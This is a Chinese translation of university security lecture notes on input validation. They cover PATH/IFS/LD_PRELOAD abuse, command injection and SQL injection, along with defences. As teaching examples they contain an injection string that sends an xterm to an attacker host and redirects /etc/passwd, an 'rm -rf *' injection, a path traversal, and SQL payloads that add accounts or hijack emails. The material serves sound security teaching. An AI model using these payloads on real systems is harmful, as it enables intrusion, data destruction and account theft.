雪城大学计算机与网络安全讲义

六、输入校验

原文：Input Validation

译者：飞龙

1 环境变量（隐藏的输入）

环境变量是隐藏的输入。它们存在并影响程序行为。在编程中忽略它们的存在可能导致安全隐患。

PATH
- 在 Shell 中运行命令时，Shell 会使用 PATH 环境变量搜索所有命令。
- 下面会发生什么呢？
```
system("mail");
```
- 攻击者可以将 PATH 修改成下面，并使当前目录下的mail执行。
```
PATH=".:$PATH"; export PATH
```
IFS
- IFS 变量决定了哪个字符解释为空白字符。它代表了内部字符安分隔符。假设我们将其设置为包含斜杠字符：
```
IFS="/ \t\n"; export IFS
PATH=".:$PATH"; export PATH
```
- 现在从 Bourne shell（例如system或者popen系统调用）中，调用任何使用绝对 PATH 的程序。现在这会解释成下面的东西，尝试在用户的当前目录中执行叫做bin命令。
```
system("/bin/mail root");   --->  system(" bin mail root"); 
```
- IFS 的 Bug 现在在 Shell 中漂亮地禁用了。
LD_LIBRARY_PATH
- 动态链接目录：在搜索动态库时，UNIX 系统会在由该环境变量提供的特定目录中搜索库。
- 几乎每个 UNIX 程序都依赖于libc.so，以及每个 Windows 程序都依赖于 DLL。如果这些库变成了木马，许多事情就会发生错误。
- 攻击者可以改变这个路径，并使程序加载攻击者的库。
```
setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH 
```
  或者用户当前目录
```
setenv  LD_LIBRARY_PATH .:$LD_LIBRARY_PATH 
```
- 多数现代的 C 运行时库都修复了这个问题，通过当 EUID 不等于 UID，或者 EGID 不等于 GID 时，忽略LD_LIBRARY_PATH变量。
- 防护应用可以使用可信库静态链接来避免它。
- 在 Windows 的机制中，加载 DLL 时，通常在搜索系统目录之前，在当前目录中搜索 DLL。如果你点击了 Word 文档来启动 Office，包含文档的目录首先用于搜索 DLL。
LD_PRELOAD
- 许多 UNIX 系统允许你预加载共享库，通过设置环境变量LD_PRELOAD。这允许你做一些有趣的事情，比如将 C 标准库的函数或者甚至系统调用的 C 接口换成你自己的函数。
- 如果程序是 Set-UID 程序，现代的系统会忽略LD_PRELOAD。
```
% cc -o malloc_interposer.so -G -Kpic malloc_interposer.c 
% setenv LD_PRELOAD $cwd/malloc_interposer.so 
```
- 如何去掉环境变量？
```
extern char   **environ;   
int main(int argc, char **argv) {
    environ = 0; 
} 
```
  - 上面的策略不一定对每个程序都起作用。例如，运行期间加载共享库需要LD_LIBRARY_PATH。

案例学习

vi漏洞
- 行为：
  
  (1) vi file
  
  (2) 保持打开但不保存
  
  (3) vi调用了expreserve，它在保护区域保存缓冲区
  
  (4) expreserve调用mail来向用户发送邮件
- 事实：
  - expreserve是个 Set-UID 程序，mail使用 Root 权限调用。
  - expreserve使用了system("mail user")或者system("/bin/mail user")。
  - expreserve没有注意环境变量。
- 攻击：
  - 修改了 PATH 和 IFS
    
    IFS="/binal\t\n"使m被调用，而不是/bin/mail。

2 进程属性

umask值
- 它决定了新创建文件的默认权限
- 子进程从它的父进程继承该值
- 考虑这个场景：
  
  一个 Set-UID 程序在/tmp/tempfile保存临时数据。这个文件的完整性十分重要。如果程序员假设 umask 值为 077，假设可能不成立。攻击者可以从自己的 Shell 中运行这个程序，Set-UID 会从 Shell 继承这个 umask 值。
  
  如何防护它：显式设置 umask 值（使用umask(077)），或者显式设置新创建文件的权限（使用chmod("newfile",0755)。

内存转储

如果你的程序保存了敏感数据，例如未加密的密码，你应该禁止程序的内核转储。

如何禁用内和转储？

#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h>  

int main(int argc, char **argv) {
    struct rlimit   rlim;
    getrlimit(RLIMIT_CORE, &rlim);
    rlim.rlim_max = rlim.rlim_cur = 0;
    if (setrlimit(RLIMIT_CORE, &rlim)) {
        exit(-1);         
    }
    ...
    return 0;
}

Solaris 默认（Solaris 8 开始）不允许 Set-UID 程序由于明显的安全原因的内核转储。

3 调用其它程序

安全地调用其它程序
- 如果 CGI 脚本这样做，会有什么潜在的问题？
```
// $Recipient contains email address provided by the user  
//      using web forms.   
system("/bin/mail", $Recipient); 
```
- $Recipient可能包含 Shell 的特殊字符（| & < >）（命令注入）。
```
"attacker@hotmail.com < /etc/passwd;  
export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;" 
```
- 如果 CGI 脚本这样做，会有什么潜在的问题？
```
system("cat", "/var/stats/$username"); 
```
- 攻击者可以将用户名提交为../../etc/passwd（命令注入、路径遍历）。
- 如果 CGI 脚本这样做，会有什么潜在的问题？
```
sprintf(buf,"telnet %s",url); 
system(buf); 
```
- 如果 URL 是这种形式，也会做出回应（命令注入、栈溢出）。
```
host.example.com; rm -rf * 
```
exec函数、system和popen
- Exec 函数系列通过将当前进程影响包装成新的，来运行子进程。有许多 Exec 函数的版本，它们工作方式不同。它们可以归类于以下几种：
  - 使用或者不使用 Shell 来启动子进程
  - 通过 Shell（Shell 可以引入比我们预期的更多功能。要注意 Shell 是个强大的程序）处理命令行参数。
- 启动子进程涉及到依赖和属性继承的问题，我们已经看到它们存在问题。函数execlp和execvp使用 Shell 来启动程序。它们使程序的执行依赖当前用户的 Shell 配置。也就是依赖于 PATH 和其它环境变量的值。execv更安全，因为它并没有向代码引入这种依赖。
- system(string)调用将字符串传递给 Shell 来作为子进程执行（也就是作为单独派生的进程）。它是 Exec 函数的便利前端。
- popen的标准实现与之相似。这个函数打开到新进程的管道，以便执行命令，并且读取任何输出作为文件流。这个函数也会启动 Shell，来解释命令行字符串。
如何安全地调用程序？
- 避免任何调用 Shell 的东西。不要使用system，而是使用execve，它不调用 Shell，与system不同。
- 避免execlp(file, ...)和execvp(file, ...)，它们的语义与 Shell 类似。它们使用文件内存作为 Shell 的标准输入，如果文件不是有效的可执行目标文件。
- 要注意可能使用 Shell 实现的函数。
  - Perl 的open函数能够执行命令，并且通常通过 Shell 来实现。

4 SQL 注入

示例来源于 Steve Fried 的 Unixwiz.net Tech Tips: SQL Injection Attacks by Example。

SQL 注入是个利用 Web 应用的技巧，该应用在查询中使用客户端提供的数据，但是没有首先过滤掉潜在有害的字符。因此，Web 应用可能会执行非预期的 SQL 代码。
一些应用从 Web 表单获取用户输入，之后使用用户输入直接构造 SQL 语句。例如，下面的 SQL 查询使用$EMAIL的值构造，它直接由用户表单提交：
```
SELECT email, passwd, login_id, full_name  
FROM table  
WHERE email = '$EMAIL'; 
```
上面的应用当用户忘记密码时经常使用。它们只需要键入它们的邮件地址。如果邮件地址在数据库中（用户已注册），该邮件的密码会发到该邮件地址。这个例子中，SQL 注入攻击的目标是能够登入系统，而不需要是它的用户。
猜测字段名称：第一步就是猜测数据库的一些字段名称
- 下面猜测了字段名称email：
- 如果我们得到了服务器错误，就意味着我们的 SQL 格式错误，并且抛出了语法错误。最可能是由于错误的字段名称。如果我们得到了任何种类的有效回应，我们就正确猜测了名称。这里我们得到了email unknown或者password was sent回复。
```
SELECT fieldlist   
FROM table  
WHERE field = 'x' AND email IS NULL; --'; 
```
- 猜测表名称
  - 与之相似，如果消息是email unknown或者password was sent，我们就知道我们的猜测是否正确。
```
SELECT email, passwd, login_id, full_name   
FROM table  
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --'; 
```
  - 但是，上面只确认了tabname是否是有效名称，不一定是我们使用的名称，下面的语句有所帮助：
```
SELECT email, passwd, login_id, full_name   
FROM members  
WHERE email = 'x' AND members.email IS NULL; --'; 
```
- 猜测用户的邮件地址：$EMAIL = x' OR full_name LIKE '%Bob%
  - 如果 SQL 语句执行成功，通常你会看到这样的消息：We sent your password to <…>，其中<…>是邮件地址，它的fill_name与%Bob%匹配（%是通配符）。
```
SELECT email, passwd, login_id, full_name   
FROM members  
WHERE email = 'x' OR full_name LIKE '%Bob%'; 
```
- 爆破密码（在我们了解有效邮件地址之后）
```
SELECT email, passwd, login_id, full_name   
FROM members  
WHERE email = 'bob@example.com' AND passwd = 'hello123';
```
- 如果数据库不是只读的，我们可以尝试下面的东西来添加新用户：
  - 末尾的--（注意空格，或者使用#）是 SQL 注释的开始。这是个有效的方式来去掉最后由应用提供的单引号，并且不会担心它们的匹配。
  - 有一些挑战：
    - Web 表单可能没有像你提供足够的空间来键入整个字符串。
    - Web 应用的用户可能没有members表的INSERT权限。
    - 应用可能不能正常表现，因为我们没有提供其它字段的值。
    - 有效的member可能不仅仅需要members表的一行记录，也需要其它表的关联信息（例如accessrights），所以只向一个表添加可能不足够。
```
SELECT email, passwd, login_id, full_name   
FROM members  WHERE email = 'x';   
INSERT INTO members ('email','passwd','login_id','full_name')    
VALUES ('xyz@hacker.net','hello','xyz','xyz Hacker');--'; 
```
- 修改现有用户的邮件地址
  - 如果成功了，攻击者就能访问正常的I lost my password链接，键入更新后的邮件地址，并在邮件中收到 Bob 的密码。
```
SELECT email, passwd, login_id, full_name   
FROM members  WHERE email = 'x';       
UPDATE members       
SET email = 'xyz@hacker.net'       
WHERE email = 'bob@example.com'; 
```
- 如何防止 SQL 攻击？
  - 过滤输入
  - 配置错误报告：上面的攻击利用了由服务器返回的错误信息。通过不告诉用户 SQL 查询中实际的错误信息，可以使攻击者更加困难。例如，你可以只说something is wrong。
  - 使用预定义参数，所以用户的输入仅仅被看做数据，引号、反斜杠和 SQL 注释记号不会产生影响，因为它们也仅仅被看做数据，并且不会解释为 SQL。看看下面的 Java 代码：
```
// Insecure version 
Statement s = connection.createStatement(); 
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField);   
// Secure version 
PreparedStatement ps = 
connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); 
ps.setString(1, formField); 
ResultSet rs = ps.executeQuery(); 
```

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